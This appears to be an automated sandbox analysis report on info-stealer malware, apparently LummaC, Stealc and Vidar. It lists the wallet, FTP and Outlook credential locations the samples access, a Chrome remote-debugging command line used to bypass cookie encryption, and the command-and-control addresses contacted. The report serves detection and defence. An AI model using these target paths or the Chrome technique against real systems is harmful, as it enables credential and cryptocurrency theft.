Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ

Source: Yara match	File source: 0000000A.00000003.3152697740.0000000001662000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3164368128.0000000001676000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3314647302.0000000001675000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3252377166.0000000001675000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3289641174.0000000001674000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3616618851.0000000001A42000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3229587357.0000000001674000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3201101586.000000000165F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3616618851.00000000019CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3256030973.0000000001675000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3152785870.0000000001674000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3252003862.0000000001675000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.3261974882.0000000001674000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 194fcc03d1.exe PID: 3172, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c9ac8940e6.exe PID: 1896, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match	File source: 0000000B.00000003.3153308328.00000000017DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6d2b6a8d0b.exe PID: 2892, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: c9ac8940e6.exe PID: 1896, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000001F.00000003.3229372369.0000000005710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3658723623.0000000000D71000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3616618851.00000000019CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3672144910.00000000019CB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.3042712331.0000000005730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.3600590681.0000000000D71000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 194fcc03d1.exe PID: 3172, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 194fcc03d1.exe PID: 3172, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E1307A sqlite3_transfer_bindings,	9_2_61E1307A
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E2D5E6 sqlite3_bind_int64,	9_2_61E2D5E6
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E2D595 sqlite3_bind_double,	9_2_61E2D595
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E0B431 sqlite3_clear_bindings,	9_2_61E0B431
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E037F3 sqlite3_value_frombind,	9_2_61E037F3
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E2D781 sqlite3_bind_zeroblob64,	9_2_61E2D781
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E2D714 sqlite3_bind_zeroblob,	9_2_61E2D714
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E2D68C sqlite3_bind_pointer,	9_2_61E2D68C
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E2D65B sqlite3_bind_null,	9_2_61E2D65B
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E2D635 sqlite3_bind_int,	9_2_61E2D635
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E2D9B0 sqlite3_bind_value,	9_2_61E2D9B0
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E2D981 sqlite3_bind_text16,	9_2_61E2D981
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E2D945 sqlite3_bind_text64,	9_2_61E2D945
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E2D916 sqlite3_bind_text,	9_2_61E2D916
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E2D8E7 sqlite3_bind_blob64,	9_2_61E2D8E7
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E038CA sqlite3_bind_parameter_count,	9_2_61E038CA
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E158CA sqlite3_bind_parameter_index,	9_2_61E158CA
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E038DC sqlite3_bind_parameter_name,	9_2_61E038DC
Source: C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	Code function: 9_2_61E2D8B8 sqlite3_bind_blob,	9_2_61E2D8B8

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	111 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	4 Obfuscated Files or Information	Security Account Manager	248 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	12 Process Injection	12 Software Packing	NTDS	11 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	971 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	111 Registry Run Keys / Startup Folder	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	471 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	471 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	53%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008721001\df975f4fc1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008720001\6d2b6a8d0b.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	37%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1008713001\f398072083.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1008718001\c9ac8940e6.exe	37%	ReversingLabs	Win32.Trojan.Symmi
C:\Users\user\AppData\Local\Temp\1008719001\194fcc03d1.exe	39%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	53%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://185.215.113.206/c4becf79229cb002.php25	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phpr1	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php1001	100%	Avira URL Cloud	malware
https://property-imper.sbs/0	0%	Avira URL Cloud	safe
https://gpuweb.github.io/gpuweb/get	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
home.fvtekk5pn.top	34.116.198.130	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
property-imper.sbs	104.21.33.116	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
fvtekk5pn.top	34.116.198.130	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
youtube.com	142.250.181.78	true	false	high
ipv4only.arpa	192.0.0.170	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
sb.scorecardresearch.com	18.165.220.66	true	false	high
www.google.com	142.250.181.68	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
185.215.113.206/c4becf79229cb002.php	false	high
http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW1732019347	false	high
https://property-imper.sbs/api	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 00000019.00000002.3318892464.000001E16A3DD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 00000019.00000002.3411102048.000001E17835F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B794000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 00000019.00000002.3310354095.000001E1699EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17001B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 00000019.00000002.3310354095.000001E1699EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3325328648.000001E16B7B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3327903366.000001E16BECC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3316015574.000001E16A1AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/complete/searchcb8e7210-9f0b-48fa-8708-b9a03df79eeaccb137f1-7733-464c-bb70-03	firefox.exe, 00000019.00000002.3362147445.000001E170068000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3239742227.000001E170068000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000019.00000002.3318892464.000001E16A303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3351329432.000001E16EB0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E170005000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3361760431.000001E17000B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3360459881.000001E16FFCE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 00000019.00000002.3312423848.000001E169CC0000.00000002.08000000.00040000.00000000.sdmp	false		high
https://xhr.spec.whatwg.org/#sync-warning	firefox.exe, 00000019.00000002.3363807064.000001E17025A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3252411643.000001E17025A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000019.00000002.3325328648.000001E16B7FE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3370172652.000001E17080B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3159441532.000001E16E21E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.3161924671.000001E16E273000.00000004.00000800.00020000.00000000.sdmp	false		high
